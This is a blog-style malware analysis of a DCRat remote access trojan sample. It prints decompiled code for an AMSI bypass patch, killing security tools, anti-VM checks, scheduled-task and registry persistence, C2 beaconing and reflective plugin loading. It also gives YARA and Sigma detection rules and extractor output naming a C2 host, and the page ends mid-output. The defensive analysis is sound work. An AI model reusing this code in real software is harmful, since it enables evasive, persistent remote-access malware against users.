gemesa@home:~$

Reversing a DCRat remote access trojan (RAT) variant

Table of contents

Introduction

DCRat is an open-source, plugin-based remote access trojan (RAT). The first commit dates back to 2021. Since then, a lot of customized variant have emerged.

In this post, we will analyze a random DCRat sample from MalwareBazaar using ILSpy and pythonnet. We will also implement Sigma and YARA rules to detect the malware and a Python script to extract the encrypted configuration.

Executive summary

This DCRat variant is a plugin-based RAT with AES-256 encrypted config, identifiable by the DcRatByqwqdanchun salt. It tries to evade analysis by detecting VMs via WMI queries, killing security tools (Task Manager, Process Hacker, Defender, etc.), patching AMSI in memory and marking itself as a critical process (terminating it causes a BSOD). Persistence is achieved via scheduled tasks or registry run keys (depending on privileges). On startup, it collects system info (HWID, username, OS, antivirus, webcam, etc.) and beacons to its C2 over TLS with cert pinning. The C2 address can also be fetched from pastebin.com. The actual RAT capabilities are delivered as plugins from the C2, stored compressed in the registry and loaded reflectively (nothing is written to the disk).

Detailed analysis

Let’s shorten the binary name first so it is easier to work with in the following chapters.

$ mv cfe65a88ebc858c083c6bfd48d1caf16128a420d9352b46c3107b8b1a1614639.exe dcrat.exe

Hashes

$ md5sum < dcrat.exe
024ea02348b7d7680e8342e08fa81f04  -
                                  
$ sha1sum < dcrat.exe
d9caf04e6899e2b61534275d838211f3a8e8f250  -

$ sha256sum < dcrat.exe
cfe65a88ebc858c083c6bfd48d1caf16128a420d9352b46c3107b8b1a1614639  -

Overview

Unsurprisingly, it is a .NET executable:

$ file dcrat.exe 
dcrat.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

ILSpy

In this case the malware is analyzed on macOS. If we want a GUI where we can follow cross-references in the decompiled code, we can use AvaloniaILSpy. The drawback is that this project is archived and not maintained anymore. Therefore, we will use ILSpy instead, more specifically ILSpyCmd with VS Code, since ilspycmd does not have a GUI. The installation instructions can be found here.

First, we decompile the binary into a project:

$ ilspycmd -p -o ./DCRat dcrat.exe

Then, we load it into VS Code:

$ code DCRat

Note: it is recommended to install the C# Dev Kit for better code readability.

Analysis

After browsing through the decompiled code, we can see that it is very similar to the open-source version. Therefore, we will not go through the whole codebase in detail. We will discuss the most important features of the original implementation, then we will check how this specific sample differs. The code snippets in the following chapter are copied from the decompiled sample.

DCRat signature

Source: Aes256.cs

The encryption class contains a hardcoded salt:

private static readonly byte[] Salt = Encoding.ASCII.GetBytes("DcRatByqwqdanchun");

Encrypted configuration

Source: Settings.cs

All sensitive strings (C2, ports, etc.) are AES-256 encrypted with a base64-encoded key:

	public static string Por_ts = "Zg9VSZv/vsUnEQBzhfXpKPjYm70KkS5MxCRhZ1CLxaONi86O1tioh7cto+j8y2tHB120cTLyZ51HkueXBxsY1A==";

	public static string Hos_ts = "7spuqcXBjdCSTbl3vuBaK8FMCIg75RONRRYTlaMK6b/cXzhviyYR/CGoPYLPme8EsZN0q7Er5FLtCE+5wGhnCW03V9p2bGNJ3uo+sagTJh0=";

	public static string Key = "NVJFU0NZNjhjaWlhY2Rna2F5Tm82ckdmSzRUS3NXdjQ=";

	public static bool InitializeSettings()
	{
		try
		{
			Key = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
			aes256 = new Aes256(Key);
			Por_ts = aes256.Decrypt(Por_ts);
			Hos_ts = aes256.Decrypt(Hos_ts);
            // ...
        }
    }

Anti-analysis

Source: Anti_Analysis.cs

Detects VMs by querying WMI for CPU cache memory. VMs might not emulate this properly:

	public static bool isVM_by_wim_temper()
	{
		ManagementObjectSearcher val = new ManagementObjectSearcher((ObjectQuery)new SelectQuery("Select * from Win32_CacheMemory"));
		int num = 0;
		ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
		try
		{
			while (enumerator.MoveNext())
			{
				_ = (ManagementObject)enumerator.Current;
				num++;
			}
		}
		finally
		{
			((IDisposable)enumerator)?.Dispose();
		}
		if (num == 0)
		{
			return true; // No cache memory.
		}
		return false;
	}

    public static void RunAntiAnalysis()
	{
		if (isVM_by_wim_temper())
		{
			Environment.FailFast(null); // Termination.
		}
	}

Security tool killer

Source: AntiProcess.cs

Enumerates running processes and terminates security/analysis tools. Targeted processes:

	private static void Block()
	{
		while (Enabled)
		{
			IntPtr intPtr = CreateToolhelp32Snapshot(2u, 0u);
			PROCESSENTRY32 lppe = new PROCESSENTRY32
			{
				dwSize = (uint)Marshal.SizeOf(typeof(PROCESSENTRY32))
			};
			if (Process32First(intPtr, ref lppe))
			{
				do
				{
					uint th32ProcessID = lppe.th32ProcessID;
					string szExeFile = lppe.szExeFile;
					if (Matches(szExeFile, "Taskmgr.exe") || Matches(szExeFile, "ProcessHacker.exe") || Matches(szExeFile, "procexp.exe") || Matches(szExeFile, "MSASCui.exe") || Matches(szExeFile, "MsMpEng.exe") || Matches(szExeFile, "MpUXSrv.exe") || Matches(szExeFile, "MpCmdRun.exe") || Matches(szExeFile, "NisSrv.exe") || Matches(szExeFile, "ConfigSecurityPolicy.exe") || Matches(szExeFile, "MSConfig.exe") || Matches(szExeFile, "Regedit.exe") || Matches(szExeFile, "UserAccountControlSettings.exe") || Matches(szExeFile, "taskkill.exe"))
					{
						KillProcess(th32ProcessID);
					}
				}
				while (Process32Next(intPtr, ref lppe));
			}
			CloseHandle(intPtr);
			Thread.Sleep(50);
		}
	}

BSOD protection

Source: ProcessCritical.cs

Marks itself as a critical system process via the undocumented RtlSetProcessIsCritical function (terminating it causes a Blue Screen of Death):

	public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e)
	{
		if (Convert.ToBoolean(Settings.BS_OD) && Methods.IsAdmin())
		{
			Exit();
		}
	}

	public static void Set()
	{
		try
		{
			SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding);
			Process.EnterDebugMode();
			NativeMethods.RtlSetProcessIsCritical(1u, 0u, 0u);
		}
		catch
		{
		}
	}

	public static void Exit()
	{
		try
		{
			NativeMethods.RtlSetProcessIsCritical(0u, 0u, 0u);
		}
		catch
		{
			while (true)
			{
				Thread.Sleep(100000);
			}
		}
	}

AMSI bypass

Source: Program.cs

Note: the bypass code is not part of the open-source version. Only a stub/placeholder is present and it is populated later.

Patches AmsiScanBuffer in memory to disable Antimalware Scan Interface.

$ echo "uFcAB4DD" | base64 -d | xxd -p | sed 's/../0x& /g' | llvm-mc --disassemble --triple=x86_64
	movl	$2147942487, %eax               # imm = 0x80070057
	retq
$ echo "uFcAB4DCGAA=" | base64 -d | xxd -p | sed 's/../0x& /g' | llvm-mc --disassemble --triple=i386 
	movl	$2147942487, %eax               # imm = 0x80070057
	retl	$24

where 0x80070057 is E_INVALIDARG.

	public static void Bypass()
	{
		string text = "uFcA";
		text += "B4DD";
		string text2 = "uFcAB4";
		text2 += "DCGAA=";
		if (is64Bit())
		{
			PatchA(Convert.FromBase64String(text));
		}
		else
		{
			PatchA(Convert.FromBase64String(text2));
		}
	}

	private static void PatchA(byte[] patch)
	{
		try
		{
            // "YW1zaS5kbGw=" --> "amsi.dll"
            // "QW1zaVNjYW5CdWZmZXI=" --> "AmsiScanBuffer"
			string Name = Encoding.Default.GetString(Convert.FromBase64String("YW1zaS5kbGw="));
			IntPtr hProcess = Win32.LoadLibraryA(ref Name);
			string Name2 = Encoding.Default.GetString(Convert.FromBase64String("QW1zaVNjYW5CdWZmZXI="));
			IntPtr procAddress = Win32.GetProcAddress(hProcess, ref Name2);
			Win32.VirtualAllocEx(procAddress, (UIntPtr)(ulong)patch.Length, 64u, out var _);
			Marshal.Copy(patch, 0, procAddress, patch.Length);
		}
		catch (Exception ex)
		{
			Console.WriteLine(" [x] {0}", ex.Message);
			Console.WriteLine(" [x] {0}", ex.InnerException);
		}
	}

	private static bool is64Bit()
	{
		bool result = true;
		if (IntPtr.Size == 4)
		{
			result = false;
		}
		return result;
	}

Persistence

Source: NormalStartup.cs

2 persistence methods based on privilege level:

Admin (scheduled task):

            // "L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g"
            // -->
            // "/c schtasks /create /f /sc onlogon /rl highest /tn"
			if (Methods.IsAdmin())
			{
				ProcessStartInfo processStartInfo = new ProcessStartInfo();
				processStartInfo.FileName = "cmd";
				processStartInfo.Arguments = Encoding.Default.GetString(Convert.FromBase64String("L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g")) + "\"" + Path.GetFileNameWithoutExtension(fileInfo.Name) + "\" /tr '\"" + fileInfo.FullName + "\"' & exit";
				processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo.CreateNoWindow = true;
				Process.Start(processStartInfo);
			}

User (registry run key):

            // "U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA=="
            // -->
            // "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
			else
			{
				using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Encoding.Default.GetString(Convert.FromBase64String("U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==")), RegistryKeyPermissionCheck.ReadWriteSubTree);
				registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name), "\"" + fileInfo.FullName + "\"");
			}

Self-relocation:

			string text = Path.GetTempFileName() + ".bat";
			using (StreamWriter streamWriter = new StreamWriter(text))
			{
				streamWriter.WriteLine("@echo off");
				streamWriter.WriteLine("timeout 3 > NUL");
				streamWriter.WriteLine("START \"\" \"" + fileInfo.FullName + "\"");
				streamWriter.WriteLine("CD " + Path.GetTempPath());
				streamWriter.WriteLine("DEL \"" + Path.GetFileName(text) + "\" /f /q");
			}

Sleep prevention:

Source: Methods.cs

Prevents system from sleeping via SetThreadExecutionState:

	public static void PreventSleep()
	{
		try
		{
            // 2147483651u = ES_CONTINUOUS | ES_SYSTEM_REQUIRED | ES_DISPLAY_REQUIRED
			SetThreadExecutionState((NativeMethods.EXECUTION_STATE)2147483651u);
		}
		catch
		{
		}
	}

HW ID generation

Source: HwidGen.cs

Generates a unique victim ID from system properties:

	public static string HWID()
	{
		try
		{
			string s = string.Concat(Environment.ProcessorCount, Environment.UserName, Environment.MachineName, Environment.OSVersion, new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize);
			MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
			byte[] bytes = Encoding.ASCII.GetBytes(s);
			bytes = mD5CryptoServiceProvider.ComputeHash(bytes);
			StringBuilder stringBuilder = new StringBuilder();
			byte[] array = bytes;
			foreach (byte b in array)
			{
				stringBuilder.Append(b.ToString("x2"));
			}
			return stringBuilder.ToString().Substring(0, 20).ToUpper();
		}
		catch
		{
			return "Err HWID";
		}
	}

System recon

Source: IdSender.cs

Initial beacon sent to C2 containing victim info:

	public static byte[] SendInfo()
	{
		MsgPack msgPack = new MsgPack();
		msgPack.ForcePathObject("Pac_ket").AsString = "ClientInfo";
		msgPack.ForcePathObject("HWID").AsString = Settings.Hw_id;
		msgPack.ForcePathObject("User").AsString = Environment.UserName.ToString();
		msgPack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
		msgPack.ForcePathObject("Camera").AsString = Camera.havecamera().ToString();
		msgPack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
		msgPack.ForcePathObject("Version").AsString = Settings.Ver_sion;
		msgPack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower()
			.Replace("true", "Admin")
			.Replace("false", "User");
		msgPack.ForcePathObject("Perfor_mance").AsString = Methods.GetActiveWindowTitle();
		msgPack.ForcePathObject("Paste_bin").AsString = Settings.Paste_bin;
		msgPack.ForcePathObject("Anti_virus").AsString = Methods.Antivirus();
		msgPack.ForcePathObject("Install_ed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();
		msgPack.ForcePathObject("Po_ng").AsString = "";
		msgPack.ForcePathObject("Group").AsString = Settings.Group;
		return msgPack.Encode2Bytes();
	}

AV detection:

	public static string Antivirus()
	{
		try
		{
			string text = string.Empty;
			ManagementObjectSearcher val = new ManagementObjectSearcher("\\\\" + Environment.MachineName + "\\root\\SecurityCenter2", "Select * from AntivirusProduct");
			try
			{
				ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
				try
				{
					while (enumerator.MoveNext())
					{
						ManagementObject val2 = (ManagementObject)enumerator.Current;
						text = text + ((ManagementBaseObject)val2)["displayName"].ToString() + "; ";
					}
				}
				finally
				{
					((IDisposable)enumerator)?.Dispose();
				}
			}
			finally
			{
				((IDisposable)val)?.Dispose();
			}
			text = RemoveLastChars(text);
			return (!string.IsNullOrEmpty(text)) ? text : "N/A";
		}
		catch
		{
			return "Unknown";
		}
	}

Plugins

Source: ClientSocket.cs

The RAT functionality is delivered as plugins from the C2 server. Plugins are stored compressed in the registry (never written to disk) and executed from memory (via reflective loading).

			switch (msgPack.ForcePathObject("Pac_ket").AsString)
			{
			case "Po_ng":
			{
				ActivatePo_ng = false;
				MsgPack msgPack3 = new MsgPack();
				msgPack3.ForcePathObject("Pac_ket").SetAsString("Po_ng");
				msgPack3.ForcePathObject("Message").SetAsInteger(Interval);
				Send(msgPack3.Encode2Bytes());
				Interval = 0;
				break;
			}
			case "plu_gin":
				try
				{
					if (SetRegistry.GetValue(msgPack.ForcePathObject("Dll").AsString) == null)
					{
						Packs.Add(msgPack);
						MsgPack msgPack2 = new MsgPack();
						msgPack2.ForcePathObject("Pac_ket").SetAsString("sendPlugin");
						msgPack2.ForcePathObject("Hashes").SetAsString(msgPack.ForcePathObject("Dll").AsString);
						Send(msgPack2.Encode2Bytes());
					}
					else
					{
						Invoke(msgPack);
					}
					break;
				}
				catch (Exception ex)
				{
					Error(ex.Message);
					break;
				}
			case "save_Plugin":
				SetRegistry.SetValue(msgPack.ForcePathObject("Hash").AsString, msgPack.ForcePathObject("Dll").GetAsBytes());
				{
					foreach (MsgPack item in Packs.ToList())
					{
						if (item.ForcePathObject("Dll").AsString == msgPack.ForcePathObject("Hash").AsString)
						{
							Invoke(item);
							Packs.Remove(item);
						}
					}
					break;
				}
			}
	private static void Invoke(MsgPack unpack_msgpack)
	{
		dynamic val = Activator.CreateInstance(AppDomain.CurrentDomain.Load(Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString))).GetType("Plugin.Plugin"));
		val.Run(TcpClient, Settings.Server_Certificate, Settings.Hw_id, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BS_OD, Settings.In_stall);
		Received();
	}

C2

Source: ClientSocket.cs

TLS with certificate pinning:

				SslClient = new SslStream(new NetworkStream(TcpClient, ownsSocket: true), leaveInnerStreamOpen: false, ValidateServerCertificate);
				SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(new char[1] { ':' })[0], null, SslProtocols.Tls, checkCertificateRevocation: false);
	private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
	{
		return Settings.Server_Certificate.Equals(certificate);
	}

Dynamic C2 via pastebin.com:

			if (Settings.Paste_bin == "null")
			{
				string text = Settings.Hos_ts.Split(new char[1] { ',' })[new Random().Next(Settings.Hos_ts.Split(new char[1] { ',' }).Length)];
				int port = Convert.ToInt32(Settings.Por_ts.Split(new char[1] { ',' })[new Random().Next(Settings.Por_ts.Split(new char[1] { ',' }).Length)]);
				if (IsValidDomainName(text))
				{
					IPAddress[] hostAddresses = Dns.GetHostAddresses(text);
					foreach (IPAddress address in hostAddresses)
					{
						try
						{
							TcpClient.Connect(address, port);
							if (TcpClient.Connected)
							{
								break;
							}
						}
						catch
						{
						}
					}
				}
				else
				{
					TcpClient.Connect(text, port);
				}
			}

Keepalive:

	public static void KeepAlivePacket(object obj)
	{
		try
		{
			MsgPack msgPack = new MsgPack();
			msgPack.ForcePathObject("Pac_ket").AsString = "Ping";
			msgPack.ForcePathObject("Message").AsString = Methods.GetActiveWindowTitle();
			Send(msgPack.Encode2Bytes());
			GC.Collect();
			ActivatePo_ng = true;
		}
		catch
		{
		}
	}

Differences

The implementation of the discussed variant is almost identical compared to the open-source version.

Anti-VM

Open-source:

public static void RunAntiAnalysis()
{
    if (!IsServerOS() && isVM_by_wim_temper())  // Skips on Windows Server.
    {
        Environment.FailFast(null);
    }
}

public static bool isVM_by_wim_temper()
{
    // ...
    return (i < 2);  // Less than 2 cache entries = VM.
}

Compiled sample:

public static void RunAntiAnalysis()
{
    if (isVM_by_wim_temper())  // No server check.
    {
        Environment.FailFast(null);
    }
}

public static bool isVM_by_wim_temper()
{
    // ...
    if (num == 0)
        return true;  // Only 0 cache entries = VM.
    return false;
}

Install errors

Open-source:

catch (Exception ex)
{
    Debug.WriteLine("Install Failed : " + ex.Message);
    ClientSocket.Error("Install Failed : " + ex.Message);  // Reports to C2.
}

Compiled sample:

catch (Exception)
{
}  // Silent.

IOCs

YARA

Note: the rules are available here as well.

/*
  meta:
    description = "DCRat"
    author = "Andras Gemes"
    date = "2026-02-01"
    sha256 = "cfe65a88ebc858c083c6bfd48d1caf16128a420d9352b46c3107b8b1a1614639"
    ref1 = "https://shadowshell.io/dcrat"
    ref2 = "https://bazaar.abuse.ch/sample/cfe65a88ebc858c083c6bfd48d1caf16128a420d9352b46c3107b8b1a1614639"
    ref3 = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat"
    ref4 = "https://github.com/qwqdanchun/DcRat"
*/

rule DCRat_salt
{
    meta:
        description = "Detects DCRat by hardcoded salt in Aes256 class."
        reference = "Aes256.cs"
        
    strings:
        $salt = "DcRatByqwqdanchun" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and $salt
}

rule DCRat_AntiProcess
{
    meta:
        description = "Detects DCRat anti-analysis process kill list."
        reference = "AntiProcess.cs"
        
    strings:
        $p1 = "Taskmgr.exe" ascii wide
        $p2 = "ProcessHacker.exe" ascii wide
        $p3 = "procexp.exe" ascii wide
        $p4 = "MSASCui.exe" ascii wide
        $p5 = "MsMpEng.exe" ascii wide
        $p6 = "MpUXSrv.exe" ascii wide
        $p7 = "MpCmdRun.exe" ascii wide
        $p8 = "NisSrv.exe" ascii wide
        $p9 = "ConfigSecurityPolicy.exe" ascii wide
        $p10 = "MSConfig.exe" ascii wide
        $p11 = "Regedit.exe" ascii wide
        $p12 = "UserAccountControlSettings.exe" ascii wide
        $p13 = "taskkill.exe" ascii wide

    condition:
        uint16(0) == 0x5A4D and 6 of ($p*)
}

rule DCRat_AMSI_bypass
{
    meta:
        description = "Detects base64 encoded AMSI bypass strings."
        reference = "Amsi.cs"
        
    strings:
        // "amsi.dll" base64
        $amsi_dll = "YW1zaS5kbGw=" ascii wide
        // "AmsiScanBuffer" base64
        $amsi_func = "QW1zaVNjYW5CdWZmZXI=" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and all of them
}

rule DCRat_AMSI_patch
{
    meta:
        description = "Detects AMSI patch shellcode bytes."
        reference = "Amsi.cs"
        
    strings:
        /*
        $ echo "uFcAB4DD" | base64 -d | xxd -p | sed 's/../0x& /g' | llvm-mc --disassemble --triple=x86_64
	    movl	$2147942487, %eax               # imm = 0x80070057
	    retq
        $ echo "uFcAB4DCGAA=" | base64 -d | xxd -p | sed 's/../0x& /g' | llvm-mc --disassemble --triple=i386 
	    movl	$2147942487, %eax               # imm = 0x80070057
	    retl	$24
        */
        $patch_x64 = { B8 57 00 07 80 C3 }
        $patch_x86 = { B8 57 00 07 80 C2 18 00 }
        $patch_b64_x64 = "uFcAB4DD" ascii wide
        $patch_b64_x86 = "uFcAB4DCGAA=" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and any of them
}

rule DCRat_VM_detection
{
    meta:
        description = "Detects DCRat VM detection via WMI."
        reference = "Anti_Analysis.cs"
        
    strings:
        $wmi1 = "Win32_CacheMemory" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and all of them
}

rule DCRat_config
{
    meta:
        description = "Detects DCRat configuration field names."
        reference = "Settings.cs"
        
    strings:
        $f1 = "Por_ts" ascii wide
        $f2 = "Hos_ts" ascii wide
        $f3 = "Key" ascii wide
        $f4 = "Paste_bin" ascii wide
        $f5 = "BS_OD" ascii wide
        $f6 = "Hw_id" ascii wide
        $f7 = "Anti_Process" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and 5 of them
}

rule DCRat_MsgPack_packets
{
    meta:
        description = "Detects DCRat C2 packet identifiers."
        reference = "ClientSocket.cs"
        
    strings:
        $pkt1 = "Pac_ket" ascii wide
        $pkt2 = "ClientInfo" ascii wide
        $pkt3 = "plu_gin" ascii wide
        $pkt4 = "save_Plugin" ascii wide
        $pkt5 = "Po_ng" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and 3 of them
}

rule DCRat_persistence
{
    meta:
        description = "Detects DCRat persistence mechanism strings."
        reference = "NormalStartup.cs"
        
    strings:
        // Base64: "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
        $user = "U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==" ascii wide
        // Base64: "/c schtasks /create /f /sc onlogon /rl highest /tn "
        $admin = "L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g" ascii wide
        
    condition:
        uint16(0) == 0x5A4D and any of them
}

rule DCRat_Combined
{
    meta:
        description = "Combined DCRat detection rule."
        
    condition:
        DCRat_salt and DCRat_AntiProcess and
        DCRat_AMSI_bypass and DCRat_AMSI_patch and
        DCRat_VM_detection and DCRat_config and
        DCRat_MsgPack_packets and DCRat_persistence
}

Sigma

Note: the rules are available here as well.

title: DCRat scheduled task persistence
id: 7cb527ed-71d3-4bdd-a65e-ac79b057bc94
status: experimental
description: Detects DCRat creating scheduled task for persistence with highest privileges.
author: Andras Gemes
references:
  - https://shadowshell.io/dcrat
  - https://github.com/gemesa/threat-detection-rules/tree/main/dcrat
  - https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-taxonomy.md
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-modifiers.md
date: 2026/02/01
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine|contains|all:
      - "schtasks"
      - "/create"
      - "/sc onlogon"
      - "/rl highest"
  condition: selection
falsepositives:
  - Legitimate software installation.
  - Admin scripts.
level: high
tags:
  # tactic - https://attack.mitre.org/tactics/enterprise/
  - attack.persistence
  # Scheduled Task/Job: Scheduled Task - https://attack.mitre.org/techniques/T1053/005/
  - attack.t1053.005

---
title: DCRat registry run key persistence
id: f7e5c961-e995-4f54-a404-a49e41f940fd
status: experimental
description: Detects DCRat adding registry Run key from AppData location.
author: Andras Gemes
references:
  - https://shadowshell.io/dcrat
  - https://github.com/gemesa/threat-detection-rules/tree/main/dcrat
  - https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-taxonomy.md
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-modifiers.md
date: 2026/02/01
logsource:
  category: registry_set
  product: windows
detection:
  selection:
    TargetObject|contains: '\Software\Microsoft\Windows\CurrentVersion\Run\'
    Details|contains: '\AppData\'
  condition: selection
falsepositives:
  - Legitimate applications installing to AppData.
level: medium
tags:
  # tactic - https://attack.mitre.org/tactics/enterprise/
  - attack.persistence
  # Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - https://attack.mitre.org/techniques/T1547/001/
  - attack.t1547.001

---
title: DCRat security tool termination.
id: 17d4708e-4be3-4b8f-8b6d-5b75c818267e
status: experimental
description: Detects DCRat killing security/analysis tools.
author: Andras Gemes
references:
  - https://shadowshell.io/dcrat
  - https://github.com/gemesa/threat-detection-rules/tree/main/dcrat
  - https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-taxonomy.md
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-modifiers.md
date: 2026/02/01
logsource:
  category: process_termination
  product: windows
detection:
  selection:
    Image|endswith:
      - '\Taskmgr.exe'
      - '\ProcessHacker.exe'
      - '\procexp.exe'
      - '\MSASCui.exe.exe'
      - '\MsMpEng.exe'
      - '\MpUXSrv.exe'
      - '\MpCmdRun.exe'
      - '\NisSrv.exe'
      - '\ConfigSecurityPolicy.exe'
      - '\MSConfig.exe'
      - '\Regedit.exe'
      - '\UserAccountControlSettings.exe'
      - '\taskkill.exe'
  filter:
    ParentImage|endswith:
      - '\explorer.exe'
      - '\cmd.exe'
  condition: selection and not filter
falsepositives:
  - System shutdown.
  - Windows updates.
level: high
tags:
  # tactic - https://attack.mitre.org/tactics/enterprise/
  - attack.defense-evasion
  # Impair Defenses: Disable or Modify Tools - https://attack.mitre.org/techniques/T1562/001/
  - attack.t1562.001

---
title: DCRat WMI VM detection
id: 34d142d3-421d-4ea3-8db7-c134506f30ef
status: experimental
description: Detects DCRat querying WMI for VM detection.
author: Andras Gemes
references:
  - https://shadowshell.io/dcrat
  - https://github.com/gemesa/threat-detection-rules/tree/main/dcrat
  - https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-taxonomy.md
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-modifiers.md
date: 2026/02/01
logsource:
  category: wmi
  product: windows
detection:
  selection:
    Query|contains:
      - "Win32_CacheMemory"
  condition: selection
falsepositives:
  - System inventory tools.
  - Hardware monitoring software.
level: medium
tags:
  # tactic - https://attack.mitre.org/tactics/enterprise/
  - attack.defense-evasion
  # Virtualization/Sandbox Evasion: System Checks - https://attack.mitre.org/techniques/T1497/001/
  - attack.t1497.001

---
title: DCRat pastebin C2 resolution
id: a81ea27c-b670-4cf9-89ca-f519ee4dd44c
status: experimental
description: Detects potential DCRat fetching C2 config from Pastebin.
author: Andras Gemes
references:
  - https://shadowshell.io/dcrat
  - https://github.com/gemesa/threat-detection-rules/tree/main/dcrat
  - https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-taxonomy.md
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-modifiers.md
date: 2026/02/01
logsource:
  category: proxy
  product: windows
detection:
  selection:
    c-uri|contains:
      - "pastebin.com/raw/"
      - "pastebin.pl/view/raw/"
      - "paste.ee/r/"
  filter:
    cs-user-agent|contains:
      - "Mozilla"
      - "Chrome"
      - "Firefox"
  condition: selection and not filter
falsepositives:
  - Developers using pastebin programmatically.
level: medium
tags:
  # tactic - https://attack.mitre.org/tactics/enterprise/
  - attack.command-and-control
  # Web Service: Dead Drop Resolver - https://attack.mitre.org/techniques/T1102/001/
  - attack.t1102.001

---
title: DCRat plugin storage in registry.
id: 9be0db7f-0298-4000-86f8-73eb96141c34
status: experimental
description: Detects DCRat storing plugin DLLs in registry under HWID-named key.
author: Andras Gemes
references:
  - https://shadowshell.io/dcrat
  - https://github.com/gemesa/threat-detection-rules/tree/main/dcrat
  - https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-taxonomy.md
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-modifiers.md
date: 2026/02/01
logsource:
  category: registry_set
  product: windows
detection:
  selection:
    TargetObject|re: '\\Software\\[A-F0-9]{20}\\'
  condition: selection
falsepositives:
  - Unknown.
level: high
tags:
  # tactic - https://attack.mitre.org/tactics/enterprise/
  - attack.persistence
  # Modify Registry - https://attack.mitre.org/techniques/T1112/
  - attack.t1112

---
title: DCRat self-deletion batch script.
id: 3e14744b-9c2d-4bd8-b5c1-63a0d8b1f4a0
status: experimental
description: Detects DCRat self-deletion batch script pattern.
author: Andras Gemes
references:
  - https://shadowshell.io/dcrat
  - https://github.com/gemesa/threat-detection-rules/tree/main/dcrat
  - https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-taxonomy.md
# https://github.com/SigmaHQ/sigma-specification/blob/main/specification/sigma-appendix-modifiers.md
date: 2026/02/01
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentCommandLine|contains:
      - ".tmp.bat"
  selection_cmd:
    CommandLine|contains|all:
      - "timeout"
      - "START"
      - "DEL"
  condition: selection_parent or selection_cmd
falsepositives:
  - Legitimate installers.
level: medium
tags:
  # tactic - https://attack.mitre.org/tactics/enterprise/
  - attack.defense-evasion
  # Indicator Removal: File Deletion - https://attack.mitre.org/techniques/T1070/004/
  - attack.t1070.004

Config extractor

Note: the script is available here as well.

Note: the prerequisites/dependencies are listed here.

$ python3 dcrat_config_extractor.py dcrat.exe
{
  "Por_ts": "9217",
  "Hos_ts": "sky01.publicvm.com",
  "Ver_sion": " 1.0.7",
  "In_stall": "false",
  "Install_Folder": "%AppData%",
  "MTX": "DcRatMutex_qwqdanchun",
